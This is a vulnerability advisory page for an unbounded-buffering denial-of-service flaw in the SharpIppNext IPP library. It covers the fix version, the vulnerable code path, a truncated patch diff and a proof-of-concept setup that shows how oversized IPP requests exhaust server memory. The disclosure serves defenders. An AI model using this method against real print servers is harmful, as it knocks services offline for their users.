CVE-2026-59975: SharpIppNext: Unbounded IPP Document Stream Buffering Leads to Denial of Service

High CVSS 7.5

OSV id
GHSA-3h63-w8jq-rrf2
Also known as
CVE-2026-59975
Published
Last modified

Affected packages

PackageAffected versionsFixed in
SharpIppNext
NuGet
< 4.1.0 4.1.0

How to fix it

Upgrade SharpIppNext to 4.1.0 or later.

dotnet add package SharpIppNext --version 4.1.0
dotnet restore --force-evaluate
  • If it is an indirect (transitive) dependency, add a direct PackageReference to the fixed version, or upgrade the package that depends on it; `dotnet list package --include-transitive` shows which one.
  • Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.

Not sure whether your project uses an affected version? Check your lockfile below for free.

Details

Summary

SharpIppNext's IppProtocol.ReadIppRequestAsync() unconditionally copies the entire attacker-supplied IPP document payload into an unbounded MemoryStream with no size limit. Because this behavior is enabled by default (ReadDocumentStream = true) and the official server documentation shows HttpContext.Request.Body being passed directly to ReceiveRequestAsync() without authentication, an unauthenticated remote attacker can exhaust the server process's memory by sending an arbitrarily large IPP request body, causing an Out-Of-Memory (OOM) condition and denial of service.

[!NOTE] This vulnerability only affects server-side implementations (using SharpIppServer to parse incoming IPP requests). It does not affect client-side implementations using SharpIppClient or client-side request construction.

Details

The vulnerable sink is in SharpIpp/Protocol/IppProtocol.cs:

// IppProtocol.cs:39 — enabled by default
public bool ReadDocumentStream { get; set; } = true;

// IppProtocol.cs:466–470 — no size cap on the copy
if (ReadDocumentStream)
{
    message.Document = new MemoryStream();
    await reader.BaseStream.CopyToAsync(message.Document);  // unbounded
    message.Document.Seek(0, SeekOrigin.Begin);
}

The full call chain from the public API to the vulnerable sink:

  1. docs/Content/Server/index.md:6–11 — Official server example passes context.Request.Body (unauthenticated) to sharpIppServer.ReceiveRequestAsync(inputStream).
  2. SharpIpp/ISharpIppServer.cs:78 — Public API declaration: Task<IIppRequest> ReceiveRequestAsync(Stream stream, ...).
  3. SharpIpp/SharpIppServer.cs:62–67 — ReceiveRequestAsync(Stream) overload delegates to ReceiveRawRequestAsync(stream).
  4. SharpIpp/SharpIppServer.cs:52–58 — ReceiveRawRequestAsync calls _ippProtocol.ReadIppRequestAsync(stream, ...).
  5. SharpIpp/Protocol/IppProtocol.cs:466–470 — ReadIppRequestAsync copies all remaining bytes after the IPP attribute section into a new MemoryStream() with no upper bound.

The existing validator (IppRequestMessageValidator.ValidateStringLengthLimitsRule, IppRequestMessageValidator.cs:260) only checks IPP attribute string/octet lengths after parsing; it does not constrain the document stream buffered at step 5.

Dynamic confirmation (Phase 2): a Docker-based PoC server built directly from the v4.0.2 source (commit 185343e) was sent a 100 MB IPP document payload. The server responded docLength=104857600, confirming all 100 MB were buffered into a MemoryStream with no rejection.

PoC

1. Build and start the vulnerable server

# From the repository root (build context: parent of vuln-001/)
docker build -t sharpipp-dos-poc -f vuln-001/Dockerfile \
  reports/pypiAi_973_danielklecha__SharpIppNext/

docker run --rm -d -p 8631:8631 --name sharpipp-dos-server sharpipp-dos-poc

The PoC server (Program.cs) uses the default SharpIppServer (which uses IppProtocol with ReadDocumentStream = true) and exposes a single unauthenticated POST endpoint:

using SharpIpp;

var server = new SharpIppServer();
var app = WebApplication.Create();

app.MapPost("/", async ctx =>
{
    var req = await server.ReceiveRawRequestAsync(ctx.Request.Body);
    ctx.Response.ContentType = "text/plain";
    await ctx.Response.WriteAsync($"docLength={req.Document?.Length}\n");
});

app.Run("http://0.0.0.0:8631");

2. Send the crafted IPP request

python3 vuln-001/poc.py 127.0.0.1 8631 100

The PoC script (poc.py) builds a minimal valid IPP/2.0 Print-Job request (version + operation-id + request-id + operation-attributes-tag + two mandatory attributes + end-of-attributes-tag) followed by an attacker-controlled document body of the requested size, then sends it over HTTP.

3. Expected output

[*] Target          : http://127.0.0.1:8631/
[*] IPP header size : 72 bytes
[*] Document payload: 100 MB (104,857,600 bytes)
[*] Total request   : 104,857,672 bytes

[*] Sending request...
[*] HTTP status : 200
[*] Response    : docLength=104857600

[PASS] CONFIRMED: server buffered 104,857,600 bytes (100 MB) into MemoryStream with NO size limit.
[PASS] Vulnerable sink: IppProtocol.cs:469 reader.BaseStream.CopyToAsync(message.Document)

Increasing doc_size_mb (e.g., to 4096 or beyond available RAM) triggers process-level OOM on the target server.

Recommended fix

Add a configurable maximum document size and throw client-error-request-entity-too-large when exceeded:

```diff --- a/SharpIpp/Protocol/IppProtocol.cs +++ b/SharpIpp/Protocol/IppProtocol.cs

  • public long? MaxDocumentStreamBytes { get; set; } = 128L * 1024 * 1024;
         if (ReadDocumentStream)
         {
             message.Document = new MemoryStream();

- await reader.BaseStream.CopyToAsync(message.Document); + await CopyDocumentStreamAsync(reader.BaseStream, message.Document, + message, MaxDocumentStream

References

Am I affected?

Upload or paste your lockfile. We check every package version in it against OSV.dev, this advisory included, and email you the vulnerable ones with the version that fixes them. Free, and no account needed.

or paste its content

Needed when you paste. package.json and pyproject.toml only have version ranges: use the lockfile next to them.

Only package names and versions are checked; the file itself is not kept. We use your email to send this report and nothing else unless you tick the box above. Privacy policy.

About this data

Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.